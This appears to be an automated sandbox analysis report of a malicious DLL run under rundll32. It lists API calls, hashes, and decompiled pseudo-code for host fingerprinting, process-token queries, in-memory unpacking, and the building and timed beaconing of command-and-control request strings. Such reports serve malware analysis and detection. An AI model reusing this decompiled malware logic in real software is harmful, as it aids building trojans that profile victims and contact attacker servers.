Instruction ID: e816e9abfdaa87da332e3227f1ca4d22294937cbf5dcc6c883267024de5be3eb
Opcode Fuzzy Hash: b379784f21376378956890797898c50fa94f265a2b5d3dfdd8b7aa5412bfc9b9
Instruction Fuzzy Hash: 5F014639808606EACB24DF60D440EBDB7F5BF08215F20882ED451A62A0EB318D81CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D3638, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 6D4D3647

Part of subcall function 6D4C7E3F: __lock.LIBCMT ref: 6D4C7E64

__ftelli64_nolock.LIBCMT ref: 6D4D3654

Part of subcall function 6D4D32EC: __fileno.LIBCMT ref: 6D4D330C
Part of subcall function 6D4D32EC: __lseeki64.LIBCMT ref: 6D4D3329

Strings

{Lm, xrefs: 6D4D366C

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __fileno__ftelli64_nolock__lock__lock_file__lseeki64
String ID: {Lm
API String ID: 1600627125-2039653669
Opcode ID: ee75d09f1eda923363153fca1fc5fca77279ccfad24c1878b1d1c51768408805
Instruction ID: 0c7cb97f5010ddf9d32546e82df238e618616ec76247959c6cd1fccf754e2ef5
Opcode Fuzzy Hash: ee75d09f1eda923363153fca1fc5fca77279ccfad24c1878b1d1c51768408805
Instruction Fuzzy Hash: DAE04F75C04208ABCF40DFA4C801FCDBBB0AF84319F618118D114761A0CB395D419B85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6876 rundll32.exeCOMMON

Executed Functions

Function 6D4CD186, Relevance: 66.4, APIs: 44, Instructions: 432COMMON

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 6D4CD1BD
___getlocaleinfo.LIBCMT ref: 6D4CD1D2
___getlocaleinfo.LIBCMT ref: 6D4CD1E7
___getlocaleinfo.LIBCMT ref: 6D4CD1FC
___getlocaleinfo.LIBCMT ref: 6D4CD214
___getlocaleinfo.LIBCMT ref: 6D4CD229
___getlocaleinfo.LIBCMT ref: 6D4CD23B
___getlocaleinfo.LIBCMT ref: 6D4CD250
___getlocaleinfo.LIBCMT ref: 6D4CD268
___getlocaleinfo.LIBCMT ref: 6D4CD27D

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: eabbdf657e399f07c2ee4d9dc041221e202d76291481bf30a1e5e3ccc471cc6b
Instruction ID: 2b1096a87456dd073651cafdceda1f07ea9afaf81217693566c9d72af01a31e2
Opcode Fuzzy Hash: eabbdf657e399f07c2ee4d9dc041221e202d76291481bf30a1e5e3ccc471cc6b
Instruction Fuzzy Hash: D0E1C2B390020DBEEF51CAE1CD44EFFB7BDEB05748F05092AB655E2050EA75AE059B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4F434D, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000984,00003000,00000040,00000984,6D4F3DA0), ref: 6D4F440A
VirtualAlloc.KERNEL32(00000000,000000A9,00003000,00000040,6D4F3DFF), ref: 6D4F4441
VirtualAlloc.KERNEL32(00000000,00014055,00003000,00000040), ref: 6D4F44A1
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D4F44D7
VirtualProtect.KERNEL32(6D490000,00000000,00000004,6D4F432C), ref: 6D4F45DC
VirtualProtect.KERNEL32(6D490000,00001000,00000004,6D4F432C), ref: 6D4F4603
VirtualProtect.KERNEL32(00000000,?,00000002,6D4F432C), ref: 6D4F46D0
VirtualProtect.KERNEL32(00000000,?,00000002,6D4F432C,?), ref: 6D4F4726
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D4F4742

Memory Dump Source

Source File: 00000004.00000002.1019377706.000000006D4F3000.00000040.00020000.sdmp, Offset: 6D4F3000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: a6d96d1dbdd5adef407acf436f0e5e0eb20350914394ba89f38f1094e73ed8d8
Instruction ID: b4b72ca6b667a579d1c139849d039c5bd8e7ed5f6eddbe50bd4dabe076bffb2d
Opcode Fuzzy Hash: a6d96d1dbdd5adef407acf436f0e5e0eb20350914394ba89f38f1094e73ed8d8
Instruction Fuzzy Hash: B0D16DF65006029FDB01DF54C9A0FB177A5FF8A350B1941B8EE0D9F66AD770A801CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00819135, Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00819135(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x81d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E0081A6CC( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x81d2a4 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x81d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E00817306(_v8 + _v8, _t64);
							}
							HeapFree( *0x81d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x81d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E00817306(_v8 + _v8, _t64);
						}
						HeapFree( *0x81d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x00819135
0x0081913d
0x00819141
0x00819144
0x00819149
0x0081914b
0x00819150
0x00819150
0x00819156
0x00819158
0x00819165
0x008191c6
0x00819167
0x0081916c
0x00819172
0x00819177
0x00819185
0x00819189
0x00819198
0x0081919f
0x008191a6
0x008191a6
0x008191b1
0x008191b1
0x00819189
0x00819177
0x008191c8
0x008191ce
0x008191d8
0x008191da
0x008191df
0x008191ee
0x008191f2
0x008191fd
0x00819204
0x0081920b
0x0081920b
0x00819217
0x00819217
0x008191f2
0x00819222
0x00819224
0x00819227
0x00819229
0x0081922c
0x0081922f
0x00819239
0x0081923d
0x00819241

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 0081916C
RtlAllocateHeap.NTDLL(00000000,?), ref: 00819183
GetUserNameW.ADVAPI32(00000000,?), ref: 00819190
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00815D20), ref: 008191B1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 008191D8
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 008191EC
GetComputerNameW.KERNEL32(00000000,00000000), ref: 008191F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00815D20), ref: 00819217

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 81db302c348e6f3fac3abbce961714d4d1b21896d56f23b63609704840a8c46e
Instruction ID: f098dd1add6de32411e3e7967af1ec96e8707d51b2d141f5dcdeaa0eb7225739
Opcode Fuzzy Hash: 81db302c348e6f3fac3abbce961714d4d1b21896d56f23b63609704840a8c46e
Instruction Fuzzy Hash: 2E310772A00206EFDB10DFA8DC81AAEB7FDFF48300B218469E955D7220D774EE819B11

Uniqueness

Uniqueness Score: -1.00%

Function 00815A27, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00815A27(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E0081A71F(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E0081A734(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x00815a34
0x00815a35
0x00815a36
0x00815a37
0x00815a38
0x00815a3c
0x00815a43
0x00815a52
0x00815a55
0x00815a58
0x00815a5f
0x00815a62
0x00815a65
0x00815a68
0x00815a6b
0x00815a76
0x00815a78
0x00815a81
0x00815a89
0x00815a8b
0x00815a9d
0x00815aa7
0x00815aab
0x00815aba
0x00815abe
0x00815ac7
0x00815acf
0x00815acf
0x00815ad1
0x00815ad1
0x00815ad9
0x00815adf
0x00815ae3
0x00815ae3
0x00815aee

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 00815A6E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00815A81
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00815A9D

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00815ABA
memcpy.NTDLL(00000000,00000000,0000001C), ref: 00815AC7
NtClose.NTDLL(?), ref: 00815AD9
NtClose.NTDLL(00000000), ref: 00815AE3

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: adb4c76747da18677ed9db69ebf0b14f81d09ecb3e4a7f6b44c8e4200bb6b5c0
Instruction ID: f8b58510ae701ef45388979989e57de34f096e3432713d681bd0b74ab2c89747
Opcode Fuzzy Hash: adb4c76747da18677ed9db69ebf0b14f81d09ecb3e4a7f6b44c8e4200bb6b5c0
Instruction Fuzzy Hash: BE21D472940228EBDB01AF99CC85EDEBFBDFF48750F108126F905E6160D7719A849BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD1F0, Relevance: 9.5, APIs: 6, Instructions: 492COMMON

Download Yara Rule

APIs

std::locale::locale.LIBCPMTD ref: 6D4BD22B

Part of subcall function 6D4BE190: std::locale::_Init.LIBCPMT ref: 6D4BE197
Part of subcall function 6D4BE190: std::locale::facet::_Incref.LIBCPMTD ref: 6D4BE1A8

_setlocale.LIBCMT ref: 6D4BD251
SetConsoleOutputCP.KERNEL32(000004E3), ref: 6D4BD272
GetTempPathA.KERNEL32(00000550,6D4F37E0), ref: 6D4BD2AF
SetConsoleCP.KERNEL32(00000000), ref: 6D4BD30C
GetWindowsDirectoryA.KERNEL32(6D588C60,00000550), ref: 6D4BD3EC

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Console$DirectoryIncrefInitOutputPathTempWindows_setlocalestd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 3520124897-0
Opcode ID: 6254ab8442194a6766a88c77f8783075b4e78f50c50e97d4fe3bf0d9bb8e7ffc
Instruction ID: 13fddc38b8f72416005c40f1abf2afe2d1113206211cdad54e9d7211fe7c4f61
Opcode Fuzzy Hash: 6254ab8442194a6766a88c77f8783075b4e78f50c50e97d4fe3bf0d9bb8e7ffc
Instruction Fuzzy Hash: B1320472A01189CFCF28DFA8E5C0BADBBB1FB99304F148169D605E7264DB30AD55CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BA260, Relevance: 5.7, APIs: 1, Strings: 1, Instructions: 2181COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000550,?,6D4F2008,6D4F200C,00000054,00000000,6D4F2008,6D4F200C,00000054,00000000,6D4F2008,6D4F200C,00000022,00000000,6D4F2008,6D4F200C), ref: 6D4BBB39

Strings

^, xrefs: 6D4BBA5F

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: PathTemp
String ID: ^
API String ID: 2920410445-1590793086
Opcode ID: f99141c020f2a81523f3fb699968df80a73185eb716b11e1a1673298e640b139
Instruction ID: 1de2a17ca266ebe3b1e92895a5211950d68b4d1b08fd4f75414e369500f35252
Opcode Fuzzy Hash: f99141c020f2a81523f3fb699968df80a73185eb716b11e1a1673298e640b139
Instruction Fuzzy Hash: 49230672A01190CFDB28EF28E5D0B657BB2EBCA308B058169D649D7264DF34EC65DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00814AB6, Relevance: 33.2, APIs: 22, Instructions: 244
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00814AB6(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t100;
				signed int _t104;
				char** _t106;
				int _t109;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				intOrPtr _t126;
				int _t130;
				CHAR* _t132;
				intOrPtr _t133;
				void* _t134;
				void* _t143;
				int _t144;
				void* _t145;
				intOrPtr _t146;
				void* _t148;
				long _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t143 = __edx;
				_t134 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x81d018; // 0x9ad51634
				asm("bswap eax");
				_t61 =  *0x81d014; // 0x3a87c8cd
				_t132 = _a16;
				asm("bswap eax");
				_t62 =  *0x81d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x81d00c; // 0x81762942
				asm("bswap eax");
				_t64 =  *0x81d2a8; // 0x45fa5a8
				_t3 = _t64 + 0x81e633; // 0x74666f73
				_t144 = wsprintfA(_t132, _t3, 3, 0x3d15e, _t63, _t62, _t61, _t60,  *0x81d02c,  *0x81d004, _t59);
				_t67 = E008156CD();
				_t68 =  *0x81d2a8; // 0x45fa5a8
				_t4 = _t68 + 0x81e673; // 0x74707526
				_t71 = wsprintfA(_t144 + _t132, _t4, _t67);
				_t160 = _t158 + 0x38;
				_t145 = _t144 + _t71; // executed
				_t72 = E008158DB(_t134); // executed
				_t133 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t126 =  *0x81d2a8; // 0x45fa5a8
					_t7 = _t126 + 0x81e8d4; // 0x736e6426
					_t130 = wsprintfA(_a16 + _t145, _t7, _t72);
					_t160 = _t160 + 0xc;
					_t145 = _t145 + _t130;
					HeapFree( *0x81d238, 0, _v8);
				}
				_t73 = E0081A199();
				_v8 = _t73;
				if(_t73 != 0) {
					_t121 =  *0x81d2a8; // 0x45fa5a8
					_t11 = _t121 + 0x81e8dc; // 0x6f687726
					wsprintfA(_t145 + _a16, _t11, _t73);
					_t160 = _t160 + 0xc;
					HeapFree( *0x81d238, 0, _v8);
				}
				_t146 =  *0x81d32c; // 0x4e195b0
				_t75 = E00814622(0x81d00a, _t146 + 4);
				_t152 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x81d238, _t152, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x81d238, 0, 0x800);
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x81d238, _t152, _v20);
						goto L26;
					}
					E0081518F(GetTickCount());
					_t82 =  *0x81d32c; // 0x4e195b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x81d32c; // 0x4e195b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x81d32c; // 0x4e195b0
					_t148 = E00811BB6(1, _t143, _a16,  *_t88);
					_v28 = _t148;
					asm("lock xadd [eax], ecx");
					if(_t148 == 0) {
						L24:
						RtlFreeHeap( *0x81d238, _t152, _v8); // executed
						goto L25;
					}
					StrTrimA(_t148, 0x81c28c);
					_push(_t148);
					_t94 = E0081361A();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x81d238, _t152, _t148);
						goto L24;
					}
					_t153 = __imp__;
					 *_t153(_t148, _a4);
					 *_t153(_v8, _v20);
					_t154 = __imp__;
					 *_t154(_v8, _v16);
					_t100 = E00819070( *_t154(_v8, _t148), _v8);
					_a4 = _t100;
					if(_t100 == 0) {
						_v12 = 8;
						L21:
						E00816761();
						L22:
						HeapFree( *0x81d238, 0, _v16);
						_t152 = 0;
						goto L23;
					}
					_t104 = E008169B4(_t133, 0xffffffffffffffff, _t148,  &_v24); // executed
					_v12 = _t104;
					if(_t104 == 0) {
						_t157 = _v24;
						_t111 = E0081391F(_t157, _a4, _a8, _a12); // executed
						_v12 = _t111;
						_t112 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t112 + 0x80))(_t112);
						_t114 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t114 + 8))(_t114);
						_t116 =  *((intOrPtr*)(_t157 + 4));
						 *((intOrPtr*)( *_t116 + 8))(_t116);
						_t118 =  *_t157;
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						E0081A734(_t157);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t106 = _a8;
							if(_t106 != 0) {
								_t149 =  *_t106;
								_t155 =  *_a12;
								wcstombs( *_t106,  *_t106,  *_a12);
								_t109 = E00815800(_t149, _t149, _t155 >> 1);
								_t148 = _v28;
								 *_a12 = _t109;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E0081A734(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x00814ab6
0x00814ab6
0x00814ab6
0x00814abf
0x00814ac8
0x00814aca
0x00814aca
0x00814ad7
0x00814ae2
0x00814ae5
0x00814aea
0x00814af3
0x00814af6
0x00814afb
0x00814afe
0x00814b03
0x00814b06
0x00814b12
0x00814b1f
0x00814b21
0x00814b27
0x00814b2c
0x00814b37
0x00814b39
0x00814b3c
0x00814b3e
0x00814b43
0x00814b49
0x00814b4e
0x00814b51
0x00814b56
0x00814b63
0x00814b65
0x00814b6b
0x00814b75
0x00814b75
0x00814b77
0x00814b7c
0x00814b81
0x00814b84
0x00814b89
0x00814b96
0x00814b98
0x00814ba6
0x00814ba6
0x00814ba8
0x00814bb6
0x00814bbb
0x00814bbd
0x00814bc2
0x00814d83
0x00814d8d
0x00814d96
0x00814bc8
0x00814bd4
0x00814bda
0x00814bdf
0x00814d77
0x00814d81
0x00000000
0x00814d81
0x00814beb
0x00814bf0
0x00814bf9
0x00814c0a
0x00814c0e
0x00814c17
0x00814c1d
0x00814c2c
0x00814c33
0x00814c3c
0x00814c42
0x00814d6b
0x00814d75
0x00000000
0x00814d75
0x00814c4e
0x00814c54
0x00814c55
0x00814c5a
0x00814c5f
0x00814d61
0x00814d69
0x00000000
0x00814d69
0x00814c68
0x00814c6f
0x00814c77
0x00814c7c
0x00814c85
0x00814c90
0x00814c95
0x00814c9a
0x00814d99
0x00814d4d
0x00814d4d
0x00814d52
0x00814d5d
0x00814d5f
0x00000000
0x00814d5f
0x00814ca4
0x00814ca9
0x00814cae
0x00814cb3
0x00814cbe
0x00814cc3
0x00814cc6
0x00814ccc
0x00814cd2
0x00814cd8
0x00814cdb
0x00814ce1
0x00814ce4
0x00814ce9
0x00814ced
0x00814ced
0x00814cf9
0x00814d05
0x00814d09
0x00814d0b
0x00814d10
0x00814d12
0x00814d17
0x00814d1c
0x00814d29
0x00814d31
0x00814d34
0x00814d34
0x00814d10
0x00000000
0x00814cfb
0x00814cff
0x00814d36
0x00814d39
0x00814d42
0x00000000
0x00000000
0x00000000
0x00000000
0x00814d42
0x00814d01
0x00000000
0x00814d01
0x00814cf9

APIs

GetTickCount.KERNEL32 ref: 00814ACA
wsprintfA.USER32 ref: 00814B1A
wsprintfA.USER32 ref: 00814B37
wsprintfA.USER32 ref: 00814B63
HeapFree.KERNEL32(00000000,?), ref: 00814B75
wsprintfA.USER32 ref: 00814B96
HeapFree.KERNEL32(00000000,?), ref: 00814BA6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00814BD4
GetTickCount.KERNEL32 ref: 00814BE5
RtlEnterCriticalSection.NTDLL(04E19570), ref: 00814BF9
RtlLeaveCriticalSection.NTDLL(04E19570), ref: 00814C17

Part of subcall function 00811BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,745EC740,?,?,008120C2,?,04E195B0), ref: 00811BE1
Part of subcall function 00811BB6: lstrlen.KERNEL32(?,?,?,008120C2,?,04E195B0), ref: 00811BE9
Part of subcall function 00811BB6: strcpy.NTDLL ref: 00811C00
Part of subcall function 00811BB6: lstrcat.KERNEL32(00000000,?), ref: 00811C0B
Part of subcall function 00811BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,008120C2,?,04E195B0), ref: 00811C28

StrTrimA.SHLWAPI(00000000,0081C28C,?,04E195B0), ref: 00814C4E

Part of subcall function 0081361A: lstrlen.KERNEL32(04E19A78,00000000,00000000,745EC740,008120ED,00000000), ref: 0081362A
Part of subcall function 0081361A: lstrlen.KERNEL32(?), ref: 00813632
Part of subcall function 0081361A: lstrcpy.KERNEL32(00000000,04E19A78), ref: 00813646
Part of subcall function 0081361A: lstrcat.KERNEL32(00000000,?), ref: 00813651

lstrcpy.KERNEL32(00000000,?), ref: 00814C6F
lstrcpy.KERNEL32(?,?), ref: 00814C77
lstrcat.KERNEL32(?,?), ref: 00814C85
lstrcat.KERNEL32(?,00000000), ref: 00814C8B

Part of subcall function 00819070: lstrlen.KERNEL32(?,00000000,04E19A98,00000000,00818808,04E19C76,?,?,?,?,?,63699BC3,00000005,0081D00C), ref: 00819077
Part of subcall function 00819070: mbstowcs.NTDLL ref: 008190A0
Part of subcall function 00819070: memset.NTDLL ref: 008190B2

wcstombs.NTDLL ref: 00814D1C

Part of subcall function 0081391F: SysAllocString.OLEAUT32(?), ref: 0081395A
Part of subcall function 0081391F: IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 008139DD

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

HeapFree.KERNEL32(00000000,?,?), ref: 00814D5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00814D69
RtlFreeHeap.NTDLL(00000000,?,?,04E195B0), ref: 00814D75
HeapFree.KERNEL32(00000000,?), ref: 00814D81
RtlFreeHeap.NTDLL(00000000,?), ref: 00814D8D

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: a3e42bd5d0ca881d2e0e7706c934041979c3ca548cf9f8e7348b0b2a39ce43f4
Instruction ID: f0ce27eb2878916515dab503e3797eb6f3ea238d8ad74ae3407b240d2a8aba6a
Opcode Fuzzy Hash: a3e42bd5d0ca881d2e0e7706c934041979c3ca548cf9f8e7348b0b2a39ce43f4
Instruction Fuzzy Hash: 7C910571900208EFCB11DBA8DC89AEABBBDFF48350F148464F509E7261DB35E991DB61

Uniqueness

Uniqueness Score: -1.00%

Function 008151B0, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E008151B0(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x81d240);
					_v20 = 0;
					_v16 = 0;
					L0081AF2E();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x81d26c; // 0x2d8
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x81d24c = 5;
						} else {
							_t68 = E00818D14(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x81d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E0081A376(_t72, _t76, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_v12 = _t65;
						_t90 = _t65 - 3;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E008136B1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x81d244);
							goto L21;
						} else {
							__eflags =  *0x81d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E00816761();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x81d248);
								L21:
								L0081AF2E();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								_v8.LowPart = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
